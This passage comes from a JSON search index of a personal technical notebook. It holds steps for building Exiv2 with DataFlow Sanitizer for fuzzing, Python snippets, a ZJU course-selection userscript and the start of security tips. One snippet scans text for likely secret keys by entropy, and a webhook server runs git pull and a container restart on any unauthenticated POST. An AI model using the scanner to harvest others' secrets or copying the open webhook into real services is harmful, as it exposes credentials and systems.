#print(type, abc, [i[4] for i in newtable])\\nopen(\\\"ccf.json\\\",\\\"w\\\").write(json.dumps(allccf))\\n</code></pre>\"},{\"location\":\"dfsan/\",\"title\":\"DFSan\",\"text\":\"\"},{\"location\":\"dfsan/#dataflow-sanitizer\",\"title\":\"DataFlow Sanitizer\",\"text\":\"<p>http://releases.llvm.org/8.0.0/tools/clang/docs/DataFlowSanitizer.html</p>\"},{\"location\":\"dfsan/#compiling-exiv2-with-dfsan\",\"title\":\"Compiling Exiv2 with DFSan\",\"text\":\"<p>dfsan require all functions (including C++ libraries) to be instructed, given source code or specified ABI list. This is a tiring work, thankfully Angora has paved our way, which utilize dfsan to locate which bytes are related to conditional branch. So, let\\u2019s start building in Angora container.</p> <p>In the following steps, we will compile libcxx using dfsan first, then compile expat and zlib, finally we can build exiv2 with dfsan.</p> <pre><code># run the container, this image is based on Ubuntu 16.04.6 LTS, and contain clang-7 and required abi list file.\\nalias d=docker\\nd pull zjuchenyuan/angora\\nd run -it --privileged -v /data:/data -w /data zjuchenyuan/angora /bin/bash\\n\\n# create our ABI list file\\ncd /data\\ncat /angora/llvm_mode/build/dfsan_rt/share/dfsan_abilist.txt &gt; mylist.txt\\ncat /angora/llvm_mode/dfsan_rt/abilibstdc++.txt &gt;&gt; mylist.txt\\n\\n# download and compile libc++, ref: https://github.com/AngoraFuzzer/Angora/blob/master/llvm_mode/libcxx/compile.sh\\napt install -y ninja-build\\n\\nLLVM_VERSION=7.0.0\\nCUR_DIR=/data\\nCLANG_SRC=${CUR_DIR}/llvm_src\\n\\nwget http://releases.llvm.org/${LLVM_VERSION}/llvm-${LLVM_VERSION}.src.tar.xz\\nwget http://releases.llvm.org/${LLVM_VERSION}/cfe-${LLVM_VERSION}.src.tar.xz\\nwget http://releases.llvm.org/${LLVM_VERSION}/compiler-rt-${LLVM_VERSION}.src.tar.xz\\nwget http://releases.llvm.org/${LLVM_VERSION}/libcxx-${LLVM_VERSION}.src.tar.xz\\nwget http://releases.llvm.org/${LLVM_VERSION}/libcxxabi-${LLVM_VERSION}.src.tar.xz\\nwget http://releases.llvm.org/${LLVM_VERSION}/libunwind-${LLVM_VERSION}.src.tar.xz\\nwget http://releases.llvm.org/${LLVM_VERSION}/clang-tools-extra-${LLVM_VERSION}.src.tar.xz\\n\\ntar -Jxf ${CUR_DIR}/llvm-${LLVM_VERSION}.src.tar.xz mv llvm-${LLVM_VERSION}.src $CLANG_SRC\\ncd ${CLANG_SRC}/tools\\ntar -Jxf ${CUR_DIR}/cfe-${LLVM_VERSION}.src.tar.xz mv cfe-${LLVM_VERSION}.src clang\\ncd ${CLANG_SRC}/tools/clang/tools\\ntar -Jxf ${CUR_DIR}/clang-tools-extra-${LLVM_VERSION}.src.tar.xz mv clang-tools-extra-${LLVM_VERSION}.src extra\\ncd ${CLANG_SRC}/projects\\ntar -Jxvf ${CUR_DIR}/compiler-rt-${LLVM_VERSION}.src.tar.xz\\nmv compiler-rt-${LLVM_VERSION}.src compiler-rt\\ntar -Jxvf ${CUR_DIR}/libcxx-${LLVM_VERSION}.src.tar.xz\\nmv libcxx-${LLVM_VERSION}.src libcxx\\ntar -Jxvf ${CUR_DIR}/libcxxabi-${LLVM_VERSION}.src.tar.xz\\nmv libcxxabi-${LLVM_VERSION}.src libcxxabi\\ntar -Jxvf ${CUR_DIR}/libunwind-${LLVM_VERSION}.src.tar.xz\\nmv libunwind-${LLVM_VERSION}.src libunwind\\ncp ./libcxxabi/include/*  ./libcxx/include\\n\\nmkdir -p /data/build_llvm &amp;&amp; cd /data/build_llvm\\nexport CC=\\\"clang -ldl -lrt -lpthread -fsanitize=dataflow -fsanitize-blacklist=/data/mylist.txt\\\" CXX=\\\"clang++ -ldl -lrt -lpthread -fsanitize=dataflow -fsanitize-blacklist=/data/mylist.txt\\\"\\ncmake -G Ninja ../llvm_src/  -DLIBCXXABI_ENABLE_SHARED=NO -DLIBCXX_ENABLE_SHARED=NO -DLIBCXX_CXX_ABI=libcxxabi\\nninja cxx cxxabi\\n\\nexport CC=\\\"clang -L/data/build_llvm/lib -stdlib=libc++ -lc++abi -ldl -lrt -lpthread -fsanitize=dataflow -fsanitize-blacklist=/data/mylist.txt -ggdb\\\" CXX=\\\"clang++ -L/data/build_llvm/lib -stdlib=libc++ -lc++abi -ldl -lrt -lpthread -fsanitize=dataflow -fsanitize-blacklist=/data/mylist.txt -ggdb\\\"\\n\\n# download dependency (expat and zlib) source code\\ncd /data\\nsed -i 's/# deb-src/deb-src/g' /etc/apt/sources.list\\napt update\\napt source zlib1g-dev libexpat1-dev\\n\\n# compile expat\\ncd /data/expat-2.1.0\\n./configure --prefix=/data/expat\\nmake install -j\\n\\n# compile zlib\\ncd /data/zlib-1.2.8.dfsg/\\n./configure --prefix=/data/zlib\\nmake install -j\\n\\n# download source code\\ncd /data\\nwget http://exiv2.org/releases/exiv2-0.26-trunk.tar.gz\\ntar zxvf exiv2-0.26-trunk.tar.gz\\ncd /data/exiv2-trunk\\n./configure --disable-shared --with-expat=/data/expat --with-zlib=/data/zlib\\n\\n# now, we get our binary file: ./bin/exiv2, about 38MB\\n</code></pre>\"},{\"location\":\"dfsan/#qa\",\"title\":\"Q&amp;A\",\"text\":\"\"},{\"location\":\"dfsan/#why-docker-image-zjuchenyuanangora\",\"title\":\"Why docker image <code>zjuchenyuan/angora</code>\",\"text\":\"<p>Just to use already built-in clang-7, and two abi list files</p>\"},{\"location\":\"dfsan/#why-ldl-lrt-lpthread\",\"title\":\"Why <code>-ldl -lrt -lpthread</code>\",\"text\":\"<p>It\\u2019s required for cmake cxx, otherwise build error like <code>Host compiler appears to require libatomic, but cannot find it</code></p>\"},{\"location\":\"dfsan/#why-compile-expat-and-zlib\",\"title\":\"Why compile expat and zlib\",\"text\":\"<p>exiv2 depends on these two libraries, and DFSan require their source code to be compiled with DFSan.</p> <p>Or, you can follow instructions here: https://github.com/AngoraFuzzer/Angora/issues/38, to create an abi list for libraries.</p> <pre><code>/angora/tools/gen_library_abilist.sh  /usr/lib/x86_64-linux-gnu/libz.so  discard &gt;&gt; /data/mylist.txt\\n/angora/tools/gen_library_abilist.sh  /usr/lib/x86_64-linux-gnu/libexpat.so  discard &gt;&gt; /data/mylist.txt\\n</code></pre>\"},{\"location\":\"dfsan/#why-disable-shared\",\"title\":\"Why <code>--disable-shared</code>\",\"text\":\"<p>This is to build a single binary file for easier fuzzing.</p>\"},{\"location\":\"dfsan/#wanna-debug-no-optimization\",\"title\":\"Wanna debug? No optimization\",\"text\":\"<p>Compiling Exiv2 with DFSan, with -O0</p> <pre><code># let's continue our building process, use -O0 to facilitate debugging\\ncd /data/exiv2-trunk\\nCFLAGS='-O0' CXXFLAGS='-O0' ./configure --disable-shared --with-expat=/data/expat --with-zlib=/data/zlib make clean; find . -name '*.o' -delete\\nmake -j\\n# now we get bin/exiv2, about 44MB\\n</code></pre>\"},{\"location\":\"gist/\",\"title\":\"gist \\u8bb0\\u5f55\\u4e00\\u4e9b\\u4ee3\\u7801\\u7247\\u6bb5\",\"text\":\"\"},{\"location\":\"gist/#print\",\"title\":\"print\\u7684\\u65f6\\u5019\\u987a\\u5e26\\u5e26\\u4e0a\\u65f6\\u95f4\",\"text\":\"<p>\\u4f7f\\u7528\\u8fd9\\u79cd\\u65b9\\u5f0f\\u7684\\u597d\\u5904\\u4e0d\\u4ec5\\u662f\\u663e\\u793a\\u65f6\\u95f4\\uff0c\\u800c\\u4e14\\u53ef\\u4ee5\\u5f88\\u65b9\\u4fbf\\u5730\\u5c06\\u5f80\\u5c4f\\u5e55\\u8f93\\u51fa\\u6539\\u4e3a\\u5199\\u6587\\u4ef6\\uff1b\\u66f4\\u4f18\\u96c5\\u7684\\u65b9\\u5f0f\\u662f\\u7528logging</p> <pre><code>import time\\ndef myprint(*args, **kwargs):\\n    args = list(args)\\n    args[0] = \\\"[\\\"+time.strftime(\\\"%Y-%m-%d %H:%M:%S\\\")+\\\"] \\\" + str(args[0])\\n    print(*args, **kwargs)\\n</code></pre> <p>\\u4f7f\\u7528\\u7684\\u65f6\\u5019\\u5c31\\u548cprint\\u4e00\\u6837\\u4f7f\\u7528\\uff0c\\u53ef\\u4ee5\\u4f20\\u5165\\u591a\\u4e2a\\u53c2\\u6570</p> <pre><code>myprint(\\\"aha myprint\\\", 666)\\n</code></pre>\"},{\"location\":\"gist/#mysql\",\"title\":\"\\u8fde\\u63a5mysql\\u6279\\u91cf\\u63d2\\u5165\\u3001\\u67e5\\u8be2\",\"text\":\"<p>config.py:</p> <pre><code>MYSQL_DB = \\\"web\\\"\\nMYSQL_USER = \\\"web\\\"\\nMYSQL_PASSWORD = \\\"sEcret_strOng_passw0rd\\\"\\nMYSQL_HOST = \\\"localhost\\\"\\nMYSQL_PORT = 3306\\n</code></pre> <pre><code>from config import MYSQL_HOST, MYSQL_PORT, MYSQL_USER, MYSQL_PASSWORD, MYSQL_DB\\nimport threading, pymysql, warnings, time\\nthread_data = threading.local()\\n\\ndef db():\\n    global thread_data\\n    conn = pymysql.connect(user=MYSQL_USER,passwd=MYSQL_PASSWORD,host=MYSQL_HOST,port=MYSQL_PORT,db=MYSQL_DB ,charset='utf8',init_command=\\\"set NAMES utf8mb4\\\", use_unicode=True)\\n    thread_data.__dict__[\\\"conn\\\"] = conn\\n    return conn\\n\\ndef runsql(sql, *args, onerror='raise', returnid=False, allow_retry=True):\\n    global thread_data\\n    conn = thread_data.__dict__.get(\\\"conn\\\")\\n    if len(args)==1 and isinstance(args[0], list):\\n        args = args[0]\\n    if not conn:\\n        conn = db()\\n    if not conn.open:\\n        conn = db()\\n    cur = conn.cursor()\\n    try:\\n        conn.ping()\\n    except:\\n        print(\\\"conn.ping() failed, reconnect\\\")\\n        conn = db()\\n    try:\\n        with warnings.catch_warnings():\\n            warnings.simplefilter(\\\"ignore\\\")\\n            cur.execute(sql, args)\\n    except pymysql.err.OperationalError as e:\\n        conn.commit()\\n        cur.close()\\n        if allow_retry and (\\\"Lost connection to MySQL\\\" in str(e) or \\\"MySQL server has gone away\\\" in str(e)):\\n            conn.close()\\n            conn = db()\\n            return runsql(sql, *args, onerror=onerror, returnid=returnid, allow_retry=False)\\n        else:\\n            raise\\n    except:\\n        conn.commit()\\n        cur.close()\\n        if onerror==\\\"ignore\\\":\\n            return False\\n        else:\\n            raise\\n    if returnid:\\n        cur.execute(\\\"SELECT LAST_INSERT_ID();\\\")\\n        result = list(cur)[0][0]\\n    else:\\n        result = list(cur)\\n    conn.commit()\\n    cur.close()\\n    return result\\n\\ndef tags_tagname2ids_set(tagname):\\n\\\"\\\"\\\"\\n    select\\u67e5\\u8be2\\u793a\\u4f8b\\n    \\u8fd4\\u56de\\u5305\\u542b\\u6807\\u7b7etagname\\u7684\\u5e16\\u5b50id\\u96c6\\u5408\\n    \\\"\\\"\\\"\\n    sql = \\\"select topicid from tags where tagname=%s\\\"\\n    sqlresult = runsql(sql, tagname)\\n    return set([i[0] for i in sqlresult])\\n\\ndef usersettings_write_bool(userid, username, settingname, settingvalue):\\n\\\"\\\"\\\"\\n    replace\\u67e5\\u8be2\\u793a\\u4f8b\\n    \\u5199\\u5165\\u7528\\u6237\\u914d\\u7f6e\\u4fe1\\u606f\\u81f3usersetting\\u8868\\n    \\u8fd4\\u56debool\\n    \\\"\\\"\\\"\\n    sql = \\\"replace into usersettings values (%s, %s, %s, %s)\\\"\\n    try:\\n        runsql(sql, userid, username, settingname, settingvalue)\\n        return True\\n    except:\\n        traceback.print_exc()\\n        return False\\n</code></pre>\"},{\"location\":\"gist/#_1\",\"title\":\"\\u5927\\u5c0f\\u5199\\u4e0d\\u654f\\u611f\\u5b57\\u5178\",\"text\":\"<pre><code>from requests.structures import CaseInsensitiveDict\\nmydict = CaseInsensitiveDict(mydict)\\n</code></pre>\"},{\"location\":\"gist/#mpms\",\"title\":\"mpms\\u591a\\u7ebf\\u7a0b\\u4e0b\\u6bcf\\u4e2a\\u7ebf\\u7a0b\\u5355\\u72ec\\u53d8\\u91cf\",\"text\":\"<p>\\u81ea\\u5df1\\u5199\\u7684\\u7c7b\\u4e0d\\u662f\\u7ebf\\u7a0b\\u5b89\\u5168\\u7684\\uff0c\\u6240\\u4ee5\\u5728\\u591a\\u7ebf\\u7a0b\\u4e0b\\u8981\\u505a\\u5230\\u6bcf\\u4e2a\\u7ebf\\u7a0b\\u81ea\\u5df1\\u4e00\\u4e2a\\u53d8\\u91cf\\u4e92\\u4e0d\\u5e72\\u6270</p> <p>mpms\\u4e0b\\u4f7f\\u7528EasyLogin\\u5b8c\\u6574\\u793a\\u4f8b\\u4ee3\\u7801\\u6a21\\u677f\\uff0c \\u5148\\u8981\\u4f7f\\u7528\\u6211fork\\u7684\\u7248\\u672c \\u52a0\\u4e0a\\u4e86len\\u652f\\u6301\\uff1a</p> <pre><code>wget https://d.py3.io/mpms.py\\n</code></pre> <pre><code>from mpms import MPMS\\nfrom EasyLogin import EasyLogin\\nimport threading\\nthread_data = threading.local()\\n\\nimport time\\nmyprint = lambda s: print(\\\"[{showtime}] {s}\\\".format(showtime=time.strftime(\\\"%Y-%m-%d %H:%M:%S\\\"), s=s))\\n\\ndef worker(id):\\n    global thread_data\\n    a = thread_data.__dict__.get(\\\"a\\\")\\n    if not a:\\n        a = EasyLogin()\\n        thread_data.__dict__[\\\"a\\\"] = a\\n    pass # do the stuff, like a.get\\n    return result\\n\\ndef handler(meta, result):\\n    # meta[\\\"fp\\\"].write ...\\n    pass # do the stuff\\n\\nif __name__ == \\\"__main__\\\":\\n    meta = {\\\"fp\\\": open(\\\"result.txt\\\",\\\"w\\\",encoding=\\\"utf-8\\\")}\\n    m = MPMS(worker, handler, 2, 2, meta=meta)\\n    m.start()\\n    for i in range(...):\\n        m.put(i)\\n    while len(m)&gt;10:\\n        myprint(\\\"Remaning \\\"+str(len(m)))\\n        time.sleep(2)\\n    m.join()\\n    myprint(\\\"Done!\\\")\\n</code></pre>\"},{\"location\":\"gist/#dict_add_list\",\"title\":\"\\u5c06\\u503c\\u5b58\\u5165\\u5b57\\u5178\\u4e2d\\u7684\\u5217\\u8868 dict_add_list\",\"text\":\"<p>\\u5224\\u65adkey\\u662f\\u5426\\u5b58\\u5728 \\u5e94\\u8be5\\u6709\\u66f4\\u597d\\u7684\\u65b9\\u6cd5\\uff1f\\u8fd9\\u4e2a\\u5b9e\\u73b0\\u8fd8\\u662f\\u5f88naive\\u7684</p> <pre><code>def dict_add_list(dictname, key, value):\\nif key not in dictname:\\ndictname[key] = [value]\\nelse:\\ndictname[key].append(value)\\n\\n# \\u5982\\u679c\\u5b57\\u5178\\u662f\\u5b58\\u50a8count\\u8ba1\\u6570\\u7684\\u8bdd \\u7528\\u8fd9\\u4e2a\\ndef dict_incr(dictname, key):\\nif key not in dictname:\\ndictname[key] = 1\\nelse:\\ndictname[key] += 1\\n</code></pre>\"},{\"location\":\"gist/#aes\",\"title\":\"\\u4f7f\\u7528AES\\u52a0\\u5bc6\\u5b57\\u7b26\\u4e32\",\"text\":\"<p>https://github.com/ricmoo/pyaes</p> <p>\\u9996\\u5148 <code>pip install pyaes -t .</code> \\u6ce8\\u610f\\u6bcf\\u6b21\\u52a0\\u5bc6\\u7684\\u65f6\\u5019\\u90fd\\u9700\\u8981\\u91cd\\u65b0\\u521d\\u59cb\\u5316aes</p> <p>\\u52a0\\u5bc6\\uff1a</p> <pre><code>plaintext = \\\"hello world\\\"\\n\\nimport pyaes,base64\\naes = pyaes.AESModeOfOperationCTR(b\\\"This_key_for_demo_purposes_only!\\\")\\nencrypted_text = base64.b64encode(aes.encrypt(plaintext.encode(\\\"utf-8\\\")))\\n\\nprint(encrypted_text) # ipkEJevbnsfbEm4=\\n</code></pre> <p>\\u89e3\\u5bc6\\uff1a</p> <pre><code>encrypted_text = \\\"ipkEJevbnsfbEm4=\\\"\\n\\nimport pyaes, base64\\naes = pyaes.AESModeOfOperationCTR(b\\\"This_key_for_demo_purposes_only!\\\")\\nplaintext = aes.decrypt(base64.b64decode(encrypted_text)).decode()\\n\\nprint(plaintext) # hello world\\n</code></pre>\"},{\"location\":\"gist/#python-mn\",\"title\":\"Python\\u753b\\u56fe \\u4e0a\\u65b9\\u989c\\u8272\\uff0c\\u7136\\u540eM*N\\u4e2a\\u5c0f\\u56fe\",\"text\":\"<p>TODO: \\u589e\\u52a0\\u4e00\\u5f20\\u793a\\u610f\\u56fe</p> <pre><code>import json\\nimport matplotlib.pyplot as plt \\nimport seaborn as sns\\nimport matplotlib.gridspec as gridspec\\nimport gzip\\nimport pickle\\nimport os\\nimport shutil\\n\\ndef plotmatrix(M, N, DATA, labels, colors, xlabel, ylabel, fontsize, sep):\\n\\\"\\\"\\\"\\n    M: how many rows, like 4\\n    N: how many cols, like 5\\n    DATA: [{\\n        \\\"name\\\": \\\"figure title\\\", \\n        \\\"lines\\\":[ \\n            [[...], [...]],\\n        ]\\n    }]\\n    labels: the label of lines, like [fuzzerA, fuzzerB]\\n    colors: color of lines, like [red, blue]\\n    xlabel: like \\\"#Time (days)\\\"\\n    fontsize: 13\\n    sep: (wspace, hspace) like (0.5, 0.5)\\n    \\\"\\\"\\\"\\n    assert M*N &gt;= len(DATA)\\n    fig = plt.figure(figsize=(M*5,N*1.2))\\n    outer = gridspec.GridSpec(2, 1, wspace=0.2, hspace=0.4, height_ratios= [1, 10])\\n    inner = gridspec.GridSpecFromSubplotSpec(M,N,subplot_spec=outer[1], wspace=sep[0], hspace=sep[1])\\n\\n    index = -1\\n    for data in DATA:\\n        index += 1\\n        ax = plt.Subplot(fig, inner[index])\\n        fig.add_subplot(ax)\\n        plt.title(data[\\\"name\\\"])\\n        for i, line in enumerate(data[\\\"lines\\\"]):\\n            plt.plot(*line, label=labels[i], color=colors[i])\\n            ax = plt.gca()\\n            ax.title.set_fontsize(fontsize)\\n            plt.xlabel(xlabel, fontsize=fontsize-2)\\n            plt.ylabel(ylabel, fontsize=fontsize-2)\\n    ax=plt.Subplot(fig, outer[0])\\n    ax.set_ylabel('')\\n    ax.set_xlabel('')\\n    fig.add_subplot(ax)\\n    ax = sns.boxplot(x=[0]*len(labels), y=[0]*len(labels), sym='', hue=labels, linewidth=0, palette=colors, ax=ax, boxprops={\\\"linestyle\\\":\\\"None\\\"})\\n    ax.spines['right'].set_visible(False)\\n    ax.spines['top'].set_visible(False)\\n    ax.spines['left'].set_visible(False)\\n    ax.spines['bottom'].set_visible(False)\\n    plt.xticks([])\\n    plt.yticks([])\\n    handles, labels = ax.get_legend_handles_labels()\\n    plt.legend(handles, labels, loc='center', ncol=8, fontsize=fontsize-1)\\n    plt.show()\\n</code></pre>\"},{\"location\":\"gist/#zipc\",\"title\":\"\\u4ece\\u4e00\\u7cfb\\u5217zip\\u6587\\u4ef6\\u4e2d\\u63d0\\u53d6C\\u4ee3\\u7801\",\"text\":\"<pre><code>from zipfile import ZipFile\\nimport os\\nfor i in os.listdir():\\n    print(i)\\n    z = ZipFile(i)\\n    files = [i.filename for i in z.filelist if i.filename.lower().endswith(\\\".c\\\") or i.filename.lower().endswith(\\\".cpp\\\")]\\n    files = [i for i in files if \\\"StdAfx\\\" not in i]\\n    print(files)\\n    contents = b\\\"\\\"\\n    for f in files:\\n        c = z.open(f).read()\\n        if c in contents:\\n            continue\\n        contents += c\\n    open(\\\"../output/\\\"+i.split(\\\".\\\")[0]+\\\".asm\\\", \\\"wb\\\").write(contents)\\n</code></pre>\"},{\"location\":\"gist/#_2\",\"title\":\"\\u5728\\u4e00\\u6279\\u6587\\u672c\\u4e2d\\u67e5\\u627e\\u53ef\\u80fd\\u7684\\u5bc6\\u94a5\",\"text\":\"<p>\\u5bc6\\u94a5\\u5b57\\u7b26\\u4e32\\u4e00\\u822c\\u4e3a\\u968f\\u673a\\u5b57\\u7b26\\u4e32\\uff0c\\u800c\\u975e\\u82f1\\u6587\\u5355\\u8bcd\\uff0c\\u6839\\u636e\\u8fd9\\u4e00\\u7279\\u5f81\\uff0c\\u6211\\u4eec\\u53ef\\u4ee5\\u4f7f\\u7528\\u53bb\\u9664\\u5e38\\u89c1\\u82f1\\u6587\\u5355\\u8bcd\\u540e\\u7684\\u4fe1\\u606f\\u71b5\\u8fd9\\u4e00\\u7279\\u5f81\\u6765\\u627e\\u51fa\\u53ef\\u80fd\\u7684\\u5bc6\\u94a5\\u5b57\\u7b26\\u4e32</p> <pre><code>import re\\nfrom password_strength import PasswordStats\\ncommonwords = set(i.strip() for i in open(\\\"google-10000-english.txt\\\").readlines())\\ndef text_entropy(text):\\n    for word in re.split('[^a-zA-Z]', text):\\n        if word in commonwords:\\n            text = text.replace(word, \\\"\\\")\\n    if not text:\\n        return 0\\n    return PasswordStats(text).strength()\\n</code></pre> <p>\\u53c2\\u8003\\uff1a</p> <ul> <li>https://pypi.org/project/password-strength/</li> <li>https://github.com/first20hours/google-10000-english/</li> </ul>\"},{\"location\":\"gist/#http-servergit-pull\",\"title\":\"HTTP Server\\u81ea\\u52a8git pull\",\"text\":\"<p>\\u7528\\u5728github hook\\u81ea\\u52a8\\u91cd\\u542f\\u5e94\\u7528</p> <pre><code>import http.server as BaseHTTPServer\\nimport os, time\\nTARGET=[\\\"/app\\\"]\\nlasttime = 0\\nclass APIHandler(BaseHTTPServer.BaseHTTPRequestHandler):\\n    def do_POST(self):\\n        global lasttime\\n        if time.time() - lasttime &gt; 60:\\n            lasttime = time.time()\\n            for path in TARGET:\\n                os.chdir(path)\\n                os.system(\\\"git pull &amp;&amp; docker restart app\\\")\\n            data = b\\\"ok\\\"\\n        else:\\n            data = b\\\"419\\\"\\n        self.wfile.write((\\\"HTTP/1.1 200 OK\\\\r\\\\nContent-Type: text/html\\\\r\\\\nContent-Length: %d\\\\r\\\\n\\\\r\\\\n\\\"%len(data)).encode(\\\"ascii\\\"))\\n        self.wfile.write(data)\\n\\nif __name__ == \\\"__main__\\\":\\n    port = 2228\\n    httpd = BaseHTTPServer.HTTPServer(('0.0.0.0', port), APIHandler)\\n    httpd.serve_forever()\\n</code></pre>\"},{\"location\":\"zjugrshelper/\",\"title\":\"ZJU grs helper \\u6d59\\u5927\\u7814\\u7a76\\u751f\\u9009\\u8bfe\\u52a9\\u624b\",\"text\":\"<p>\\u7248\\u672c: v0.5.0</p> <p>\\u76ee\\u524d\\u7684\\u529f\\u80fd\\u5217\\u8868\\uff1a</p> <ul> <li>\\u201c\\u5168\\u6821\\u5f00\\u8bfe\\u60c5\\u51b5\\u67e5\\u8be2\\u201d\\u9875\\u9762 \\u76f4\\u63a5\\u8fdb\\u5165\\u9009\\u8bfe\\u2014\\u2014\\u4e0d\\u518d\\u8ff7\\u832b\\u4e8e\\u6ca1\\u5f00\\u7684\\u8bfe\\u7a0b</li> <li>\\u6574\\u5408\\u67e5\\u8001\\u5e08\\u5206\\u6570\\u4e0e\\u8bc4\\u8bba\\u663e\\u793a\\uff0c\\u9009\\u8bfe\\u754c\\u9762\\u76f4\\u63a5\\u770b\\u8bc4\\u5206\\u2014\\u2014\\u9009\\u4e2a\\u597d\\u70b9\\u7684\\u8001\\u5e08\\u5457</li> <li>\\u53ea\\u770b\\u7279\\u5b9a\\u6821\\u533a\\u7684\\u8bfe\\u7a0b\\u73ed\\u7ea7\\u2014\\u2014\\u4e0d\\u60f3\\u6821\\u533a\\u95f4\\u5954\\u6ce2\\uff1f\\u51cf\\u8f7b\\u4eba\\u5de5\\u7b5b\\u9009\\u8d1f\\u62c5</li> <li>\\u7981\\u7528\\u9876\\u90e8\\u9f20\\u6807\\u5207\\u6362\\u4e8b\\u4ef6\\uff0c\\u4e0d\\u7528\\u518d\\u5c0f\\u5fc3\\u7ffc\\u7ffc\\u5730\\u79fb\\u52a8\\u9f20\\u6807</li> <li>\\u767b\\u5f55\\u9875\\u9762\\u81ea\\u52a8\\u8bc6\\u522b\\u9a8c\\u8bc1\\u7801 \\u5982\\u679c\\u8bc6\\u522b\\u6709\\u8bef\\u53ef\\u4ee5\\u70b9\\u51fb\\u9a8c\\u8bc1\\u7801\\u56fe\\u7247\\u518d\\u6b21\\u8bc6\\u522b</li> </ul>\"},{\"location\":\"zjugrshelper/#_1\",\"title\":\"\\u5b89\\u88c5\\u65b9\\u6cd5\",\"text\":\"<p>\\u7528 Chrome \\u7684\\u4eba\\u90fd\\u9700\\u8981\\u77e5\\u9053\\u7684\\u300c\\u795e\\u5668\\u300d\\u6269\\u5c55\\uff1aTampermonkey\\u4f7f\\u7528\\u8be6\\u89e3</p> <p>\\u7136\\u540e\\u6233\\u8fd9\\u4e2a\\u94fe\\u63a5 \\u786e\\u8ba4\\u5b89\\u88c5\\uff1a</p> <p>https://github.com/zjuchenyuan/notebook/raw/master/code/zju_grs_helper.user.js</p> <p>\\u7136\\u540e\\u5c31\\u80fd\\u8fdb\\u5165\\u9009\\u8bfe\\u54af\\uff1a\\u5982\\u5168\\u6821\\u5f00\\u8bfe\\u60c5\\u51b5\\u67e5\\u8be2</p> <p>http://grs.zju.edu.cn/py/page/student/lnsjCxdc.htm</p> <p>\\u5728\\u4f7f\\u7528\\u8fc7\\u7a0b\\u4e2d \\u9047\\u5230\\u4ee5\\u4e0b\\u5f39\\u6846\\u8bf7\\u52a1\\u5fc5\\u9009\\u62e9\\u603b\\u662f\\u5141\\u8bb8\\u57df\\u540d</p> <p></p> <p>\\u8c01\\u80fd\\u6559\\u6559\\u6211\\u4e3a\\u5565\\u7528<code>@connect chalaoshi.cn</code>\\u5c31\\u662f\\u4e0d\\u884c\\u554a</p>\"},{\"location\":\"zjugrshelper/#_2\",\"title\":\"\\u914d\\u7f6e\\u9879\",\"text\":\"<p>\\u53ea\\u663e\\u793a\\u7279\\u5b9a\\u6821\\u533a\\u8bfe\\u7a0b\\uff1a\\u4fee\\u6539\\u4ee3\\u7801\\u4e2d\\u7684<code>CONFIG_XQ</code>\\u53d8\\u91cf</p>\"},{\"location\":\"zjugrshelper/#_3\",\"title\":\"\\u4f7f\\u7528\\u65b9\\u6cd5\",\"text\":\"<ol> <li>\\u767b\\u5f55\\u9009\\u8bfe\\u7f51\\u7ad9 http://grs.zju.edu.cn/allogene/page/home.htm</li> <li>\\u6253\\u5f00\\u201c\\u5168\\u6821\\u5f00\\u8bfe\\u60c5\\u51b5\\u67e5\\u8be2\\u201d\\u9875\\u9762\\uff08<code>\\u57f9\\u517b</code>\\u7684\\u6700\\u53f3\\u4fa7\\u9879\\uff09 http://grs.zju.edu.cn/py/page/student/lnsjCxdc.htm</li> <li> <p>\\u9009\\u62e9<code>\\u5f00\\u8bfe\\u5b66\\u9662</code>\\uff0c\\u4f8b\\u5982<code>\\u7ecf\\u6d4e\\u5b66\\u9662</code>\\uff0c\\u67e5\\u8be2 </p> <p></p> <p>\\u53ef\\u89c1<code>\\u5f00\\u8bfe\\u53f7</code>\\u73b0\\u5728\\u53ef\\u4ee5\\u70b9\\u51fb\\uff0c\\u627e\\u5230\\u4f60\\u60f3\\u9009\\u7684\\u8bfe\\u7a0b\\uff0c\\u5373\\u53ef\\u8fdb\\u5165\\u9009\\u8bfe</p> </li> <li> <p>\\u5728\\u9009\\u8bfe\\u5217\\u8868\\u4e2d\\u663e\\u793a\\u67e5\\u8001\\u5e08\\u7f51\\u7ad9\\u4e0a\\u7684\\u8bc4\\u5206\\u6570\\u636e\\uff08\\u5982\\u679c\\u6709\\u591a\\u6761\\u6570\\u636e\\u5219\\u90fd\\u663e\\u793a\\uff09</p> <p></p> </li> <li> <p>\\u53ef\\u4ee5\\u70b9\\u5f00\\u8bc4\\u5206\\u6570\\u636e\\u67e5\\u770b\\u8bc4\\u8bba \\u867d\\u7136\\u73b0\\u5728\\u6837\\u5f0femmmm</p> <p></p> </li> </ol>\"},{\"location\":\"zjugrshelper/#_4\",\"title\":\"\\u6b22\\u8fce\\u53cd\\u9988\\u4e0e\\u8d21\\u732e\",\"text\":\"<p>\\u4f7f\\u7528\\u9047\\u5230bug\\uff1f\\u9700\\u8981\\u66f4\\u591a\\u529f\\u80fd\\uff1f\\u6765\\u63d0\\u4e2aissue\\u5427\\uff1a</p> <p>https://github.com/zjuchenyuan/notebook/issues</p> <p>\\u6b22\\u8fce\\u7ed9\\u4e2astar\\u54af\\uff1a</p> <p>https://github.com/zjuchenyuan/notebook</p>\"},{\"location\":\"%E8%B0%88%E8%B0%88%E5%AE%89%E5%85%A8/\",\"title\":\"How to keep safe?\",\"text\":\"<ul> <li> <p>The Big Brother Is Watching You</p> </li> <li> <p>\\u95f7\\u58f0\\u53d1\\u5927\\u8d22\\u624d\\u662f\\u6700\\u543c\\u6ef4</p> </li> <li> <p>\\u4efb\\u4f55\\u670d\\u52a1\\u5668\\u3001\\u670d\\u52a1\\u63d0\\u4f9b\\u5546\\u4e0a\\u7edd\\u5bf9\\u4e0d\\u80fd\\u660e\\u6587\\u5b58\\u50a8\\u6d89\\u5bc6\\u6587\\u4ef6\\u3001\\u670d\\u52a1\\u5668\\u5bc6\\u94a5\\u3001\\u5bc6\\u7801\\u7b14\\u8bb0</p> </li> <li> <p>\\u5907\\u4efd\\u6587\\u4ef6\\u3001\\u5386\\u53f2\\u90ae\\u4ef6\\u7684\\u5b89\\u5168\\u6027\\u66f4\\u5e94\\u91cd\\u89c6\\uff0c\\u53ca\\u65f6\\u6e05\\u7a7a\\u5386\\u53f2\\u6587\\u4ef6\\uff0c\\u7ed9\\u653b\\u51fb\\u8005\\u66f4\\u5c11\\u7684\\u7ebf\\u7d22\\u80fd\\u6709\\u6548\\u52a0\\u5927\\u653b\\u51fb\\u96be\\u5ea6</p> </li> <li> 